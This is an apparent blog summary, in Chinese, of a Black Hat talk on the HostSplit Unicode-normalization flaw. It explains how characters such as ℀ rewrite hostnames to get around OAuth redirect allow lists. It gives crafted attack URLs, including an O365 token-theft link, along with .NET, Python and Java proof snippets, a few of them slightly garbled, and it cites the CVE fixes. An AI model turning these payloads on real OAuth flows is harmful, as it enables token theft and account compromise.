Host-Split attack

[Black Hat USA 2019 PPT Presentation](https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pd f)

背景:Unicode 域名(IDN, Internationalizing domain name)如何工作

𓀬.net,这样的域名底层依然是ASCII,对应xn--fq7d.net

Unicode转化为ASCII。

  1. 标准化(Normalization),例如:Å(U+00C5)Å(U+212B)Å(U+0041, U+030A)都会被标准化为å(U+00E5)
  2. Punycoding, 把Unicode转化为ASCII。FISKMÅS转化为xn--fiskms-musxn--是punycode的标志,fiskms是ASCII部分,-mus是状态机指令。

ASCII转化为Unicode:只需要运行 Punycode状态机并且 rehydrate the Unicode(?).

HostSplit Vulnerability - making URL ‘s that switch domains

例如,攻击OAuth:

OAUTH Authorization Code Flow(RFC 6749 4.1),Client web site 发送 Application ID, Redirect URI 到认证服务器,认证服务器发送 Authorization Code(Sent to redirect URI)回Client web site。

认证服务器存有 allow list pattern 用于验证 redirect URI。在OAuth 1.0中,常用类似*.office.com的allow list。http://evil.c℀.office.com能正常工作,检查这个域名是否在allow list中时会标准化,然后将浏览器重定向到https://evil.ca/c.office.com

现在的OAuth实现使用了更严格的allow list patterns,通常使用确定的域名。以上例子只能绕过子域名检查。

在标准化步骤,有一些Unicode字符可能转化成了带有语法标志的ASCII字符,例如:℀(U+2100)对应a/c。于是https://evil.c℀.example.com会变成https://evil.ca/c.example.com,这样就不会执行第二步 Punycoding,因为这里全部都是ASCII字符。

Edge/IE有这样的问题,.Net,python和java也存在类似的问题。

Example exploit - stealing OAUTH tokens from O365

Ofiice.live.com 接受 Office OAUTH tokens 并且可以重定向到dropbox.com或者它的子域名。

https://office.live.com/start/word.aspx?h4b=dropbox&eurl=https://fake.c%E2%84%80.dropbox.com/wopi_edit/document1.docx&furl=https://www.dropbox.com/wopi_download/document1.docx&c4b=1,这个URL作为OAUTH target可以盗取tokens。

但是一个bug拯救了它。

What was vulnerable / what’s still vulnerable

Not just OAUTH ,Edge/IE和

遵循IDNA2008并设置UseSTD3ASCIIRules可以修复了,但没有广泛采用。UseSTD3ASCIIRules只允许少量Unicode字符,已在使用的域名中有很多不符合这样的要求。

Egde/IE修复了漏洞(CVE-2019-0654),Firefox,Chrome安全,Safari可能存在风险。

.Net

.Net曾经存在风险:

1
2
3
4
string url = @"http://canada.c℀.products.office.com/test/exe";
UriBuilder uriBuilder = new UriBuilder(url);
IdnMapping idnMapping = new IdnMapping();
System.Console.WriteLine(url);

输出http://canada.ca/c.products.office.com/test.ext。目前已修复(CVE-2019-0657)。

Python

python存在风险:

1
2
3
4
5
6
7
8
9
10
11
12
>>> from urllib.parseimport urlsplit, urlunsplit
>>> url= 'http://canada.c℀.microsoft.com/some.txt'
>>> parts = list(urlsplit(url))>>> host = parts[1]
>>> host'canada.ca/c.microsoft.com'
>>> newhost= []
>>> for h in host.split('.'):
... newhost.append(h.encode('idna').decode('utf-8'))
...
>>> parts[1] = '.'.join(newhost)
>>> finalUrl= urlunsplit(parts)
>>> finalUrl
'http://canada.ca/c.microsoft.com/some.txt'

还有变体:

1
2
3
4
5
6
7
8
9
10
>>> from urllib.parseimport urlparse
>>> r='http://bing.com'+u'\uFF03'+':password@products.office.com'
>>> o = urlparse(r)
>>> o.hostname'products.office.com'
>>> a = r.encode("IDNA").decode("ASCII")
>>> a
'http://bing.com#:password@products.office.com'
>>> o = urlparse(a)
>>> o.hostname
'bing.com'

分别在 CVE-2019-9636 和 CVE-2019-10160 中修复。

Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.net.*;

public class IDNTest
{
public static void main(String[] args) throws Exception
{
String idnTest = "evil.C\u20100B.microsoft.com";
String result = IDN.toASCII(idnTest);
System.out.print(result + "\n");

URL myUrl = new URL("http://evil.c\u2100B.microsoft.com");
System.out.print(myUrl.getHost() + "\n");
}
}

输出http://evil.CA/B.Microsoft.com

在 CVE-2019-2816 / S8221518 修复。

Windows

Windows API IdnToASCII存在问题,设置标志IDN_USE_STD3ASCII_RULES可以解决。

Linux

LibIDNLibIDN2 存在问题,LibIDN设置usestd3asciiruls标志,LibIDN2设置no-tr46标志。

作者

lll

发布于

2020-03-12

更新于

2022-09-19

许可协议